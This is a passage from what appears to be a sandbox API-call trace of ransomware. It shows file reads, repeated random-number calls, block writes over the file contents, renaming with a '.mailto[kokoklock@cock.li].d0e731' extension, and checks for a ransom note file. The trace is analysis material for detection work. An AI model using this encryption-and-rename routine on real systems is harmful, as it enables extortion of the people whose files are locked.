dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0165.989] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x8eef980 | out: lpFileSize=0x8eef980*=93506) returned 1 [0165.989] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x16d3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.989] ReadFile (in: hFile=0x52c, lpBuffer=0x8eef954, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x8eef954*, lpNumberOfBytesRead=0x8eef950*=0x4, lpOverlapped=0x0) returned 1 [0165.990] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0165.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0165.991] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ad38 [0165.991] NtQuerySystemTime (in: CurrentTime=0x8eef92c | out: CurrentTime=0x8eef92c*=132121213233028642) returned 0x0 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x34d1cf9e [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xa214ea18 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xcbc7061a [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x7b8b51ff [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xa52fffc3 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xa9613bf0 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xf9fd6b1b [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xcea2dbe8 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x42251dcd [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xb25695ed [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x251a28d [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x1641e884 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xde1fbf59 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xbe8d2a40 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x2818486e [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xdfed23bd [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xfd51c308 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x9d57f6f4 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x85a1855f [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xf4b1b38a [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xffd6296a [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x7ec3ac6 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xef46b83d [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xa2505106 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x613a890b [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xb60b5221 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x15fe33e0 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x24fd8844 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x592f27a4 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x10eb0ca3 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0x23debd03 [0165.991] RtlRandom (in: Seed=0x8eef938 | out: Seed=0x8eef938) returned 0xfcaeea1 [0166.000] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0166.002] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.002] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0166.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.002] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0166.002] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.002] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.002] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8eef904, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x8eef904*=0x4096, lpOverlapped=0x0) returned 1 [0166.003] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.003] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.003] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0166.004] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0166.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0166.004] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0166.004] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0166.004] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.004] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.004] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8eef904, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x8eef904*=0x4096, lpOverlapped=0x0) returned 1 [0166.005] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.005] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x16d42, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8eef93c, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x8eef93c*=0x20, lpOverlapped=0x0) returned 1 [0166.005] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0166.005] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x2fab8c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x2fab8c0*, lpNumberOfBytesWritten=0x8eef950*=0x8, lpOverlapped=0x0) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x8eef968*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x8eef968*, lpNumberOfBytesWritten=0x8eef950*=0x4, lpOverlapped=0x0) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x8eef950*=0x4, lpOverlapped=0x0) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x8eef950*=0x6c, lpOverlapped=0x0) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x2f8ac98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac98*, lpNumberOfBytesWritten=0x8eef950*=0x20, lpOverlapped=0x0) returned 1 [0166.005] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8eef950, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x8eef950*=0x4, lpOverlapped=0x0) returned 1 [0166.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0166.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0166.006] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0166.006] CloseHandle (hObject=0x52c) returned 1 [0166.006] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xe6) returned 0x2fc41c0 [0166.006] wcscpy (in: _Dest=0x2fc41c0, _Source="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" [0166.006] wcscat (in: _Dest=0x2fc41c0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.006] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.008] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.008] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc41c0) returned 1 [0166.008] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f63f28 [0166.008] wcscpy (in: _Dest=0x2f63f28, _Source="C:\\588bce7c90097ed212\\Extended\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0166.009] wcscat (in: _Dest=0x2f63f28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" [0166.009] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\d0e731-readme.txt")) returned 0x20 [0166.009] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63f28) returned 1 [0166.009] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6e130) returned 1 [0166.009] RtlExitUserThread (Status=0x1) Thread: id = 1599 os_tid = 0xfd8 [0166.010] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.010] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.011] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.011] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x8f6fd24 | out: lpFileSize=0x8f6fd24*=39242) returned 1 [0166.011] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x9946, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.011] ReadFile (in: hFile=0x52c, lpBuffer=0x8f6fcf8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x8f6fcf8*, lpNumberOfBytesRead=0x8f6fcf4*=0x4, lpOverlapped=0x0) returned 1 [0166.013] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0166.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0166.013] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0166.013] NtQuerySystemTime (in: CurrentTime=0x8f6fcd0 | out: CurrentTime=0x8f6fcd0*=132121213233359226) returned 0x0 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x77c402f7 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x46d182dd [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xf0cedda [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xccb3307f [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xe0ce9a82 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x10d281f9 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x71bb8665 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x20a8e835 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xd7a5364d [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xd8654297 [0166.013] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xddd51481 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x64a9453f [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x77da36a0 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xde06f6d6 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x542b2f7e [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x984508da [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xdc7e64b [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x823fa811 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xc994cd88 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x3fc5613 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x5b03d578 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x90d5abaf [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x144dbea [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xa0d6b176 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xb3dac4e6 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x24f75e42 [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xff98e6dc [0166.014] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xa7680949 [0166.015] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x5d22305f [0166.015] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xbf24f4c6 [0166.015] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0x1f5eddec [0166.015] RtlRandom (in: Seed=0x8f6fcdc | out: Seed=0x8f6fcdc) returned 0xfb7eaddc [0166.025] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0166.028] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0166.028] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0166.028] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0166.028] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0166.028] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0166.028] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.028] ReadFile (in: hFile=0x52c, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x8f6fca8, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x8f6fca8*=0x4096, lpOverlapped=0x0) returned 1 [0166.029] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87590 [0166.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0166.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0166.029] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0166.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0166.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac20 [0166.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0166.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0166.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0166.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87590) returned 1 [0166.030] WriteFile (in: hFile=0x52c, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x8f6fca8, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x8f6fca8*=0x4096, lpOverlapped=0x0) returned 1 [0166.030] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0166.030] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x994a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.031] WriteFile (in: hFile=0x52c, lpBuffer=0x2f8ac20*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8f6fce0, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac20*, lpNumberOfBytesWritten=0x8f6fce0*=0x20, lpOverlapped=0x0) returned 1 [0166.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac20) returned 1 [0166.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0166.031] WriteFile (in: hFile=0x52c, lpBuffer=0x2f8a770*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f8a770*, lpNumberOfBytesWritten=0x8f6fcf4*=0x8, lpOverlapped=0x0) returned 1 [0166.031] WriteFile (in: hFile=0x52c, lpBuffer=0x8f6fd0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x8f6fd0c*, lpNumberOfBytesWritten=0x8f6fcf4*=0x4, lpOverlapped=0x0) returned 1 [0166.031] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x8f6fcf4*=0x4, lpOverlapped=0x0) returned 1 [0166.031] WriteFile (in: hFile=0x52c, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x8f6fcf4*=0x6c, lpOverlapped=0x0) returned 1 [0166.032] WriteFile (in: hFile=0x52c, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x8f6fcf4*=0x20, lpOverlapped=0x0) returned 1 [0166.032] WriteFile (in: hFile=0x52c, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x8f6fcf4, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x8f6fcf4*=0x4, lpOverlapped=0x0) returned 1 [0166.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0166.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0166.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0166.032] CloseHandle (hObject=0x52c) returned 1 [0166.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97218 [0166.032] wcscpy (in: _Dest=0x2f97218, _Source="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" [0166.032] wcscat (in: _Dest=0x2f97218, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0166.032] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\extended\\uiinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0166.033] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0166.033] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97218) returned 1 [0166.033] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\UiInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0166.033] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x64) returned 0x2f63f28 [0166.033] wcscpy (in: _Dest=0x2f63f28, _Source="C:\\588bce7c90097ed212\\Extended\\" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\") returned="C:\\588bce7c90097ed212\\Extended\\" [0166.034] wcscat (in: _Dest=0x2f63f28, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" [0166.034] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Extended\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\extended\\d0e731-readme.txt")) returned 0x20 [0166.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63f28) returned 1 [0166.034] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c660) returned 1 [0166.034] RtlExitUserThread (Status=0x1) Thread: id = 1600 os_tid = 0xfdc [0166.039] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0166.041] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0166.046] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Client\\Parameterinfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\client\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0166.046] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x8fefdd8 | out: lpFileSize=0x8fefdd8*=202052) returned 1 [0166.046] SetFilePointerEx (in: hFile=0x52c, liDistanceToMove=0x31540, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.046] ReadFile (in: hFile=0x52c, lpBuffer=0x8fefdac, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x8fefda8, lpOverlapped=0x0 | out: lpBuffer=0x8fefdac*, lpNumberOfBytesRead=0x8fefda8*=0x4, lpOverlapped=0x0) returned 1 